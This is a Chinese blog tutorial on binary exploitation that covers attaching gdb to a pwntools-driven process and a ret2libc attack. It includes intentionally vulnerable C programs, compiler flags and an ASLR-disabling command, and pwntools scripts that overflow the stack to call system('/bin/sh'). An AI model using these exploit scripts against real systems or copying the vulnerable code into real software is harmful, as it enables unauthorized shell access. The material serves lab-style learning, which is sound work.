pwn学习---attach调试与ret2libc

0x01 attach调试

我们将4.c文件编译成41.exe,然后使用python脚本运行
C语言程序如下:

#include<stdio.h>
void exploit()
{
        system("/bin/sh");
}
void main()
{
    char buf[20];
    gets(buf); 
}

python代码如下:

from pwn import *
#context(arch="i386",os="linux",log_level="debug")
p=process('./41.exe')
offset = 44
#payload ='a'*offset+p32(0x8049172)
pause()              //在发送之前停一下
p.send(payload)
p.interactive()

先运行python脚本:python 41.py
在这里插入图片描述接下来重新打开一个命令行,输入gdb,然后输入attach 94506,让程序运行起来
在这里插入图片描述运行之后发生了中断,我们可以在第一个命令行那里随意输入一个字符,然后让程序继续运行起来,然后再第二个命令行里单步执行n几次。
在这里插入图片描述以上是attach基本调试方法!

0x02 ret2libc

1.总述

我们需要控制程序跳转到哪里才能达成目的呢?主要是以下四种形式:
ret2text:控制程序执行程序本身的代码,比如程序中已经有了system函数,我们就可以通过执行system("/bin/sh") 或system(“sh”)实现。
ret2shellcode:先写入一段能够获取shell的汇编代码,然后让程序跳到rsp指向shellcode的开头,来执行该段汇编代码。但实现该攻击需要shellcode所在的区域有课执行权限。
ret2syscall:调用Linux的系统中断int 0x80实现。
ret2libc:控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

2.ret2libc

ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。
上一篇文章中我们找到了exploit的首地址,进而执行了system函数获得了shell。然而ret2libc可以控制函数执行libc中的函数,返回一个函数的具体位置,诸如靠这样获得system函数的地址。

构建栈结构:
在这里插入图片描述首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示
在这里插入图片描述观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的地址,让程序默默地退出。
因此,攻击注入的结构是:

AxN(填充物) + system_addr + exit_addr + arg

首先,我们进行溢出的C语言代码为:

#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str[0x20];
        read(0,str,0x50);
}
int main()
{
        func();
        return 0;
}

进行编译:

gcc -no-pie -fno-stack-protector  -m32 -o 42.exe 3.c

请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。
同时需要禁用地址随机化功能:

echo 0 > /proc/sys/kernel/randomize_va_space

在这里插入图片描述
定位溢出点位置

pattern  create 100

生成100个字符
将其复制,输入r进行交互将这些字符粘贴进去
会发现程序停止运行,我们找到eip对应的字符A)AA,这就是发生溢出的位置

pattern offset A)AA

我们可以看到是32,说明在溢出之前我们要填充32个字符
在这里插入图片描述
寻找system,exit,/bin/sh 地址
在peda里面,可以通过p system或searchmem system 寻找system函数的地址,通过这种方法我们可以找到system,exit,"/bin/sh"的地址。如下图,我的kali颜色看起来不是很清晰,system函数地址:0xf7e13660 ; exit函数地址:0xf7e066f0 ;"/bin/sh"的地址下面三个都可以。
在这里插入图片描述如果使用的是pwndbg的话可以用search system来找地址,后面两个的地址都是这样来找的。

通过python进行交互,利用这个溢出
python代码如下:

from pwn import *
p=process('./42.exe')
offset = 32
payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
p.send(payload)
p.interactive()

python 42.py
在这里插入图片描述
执行成功之后,就获得系统权限了!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值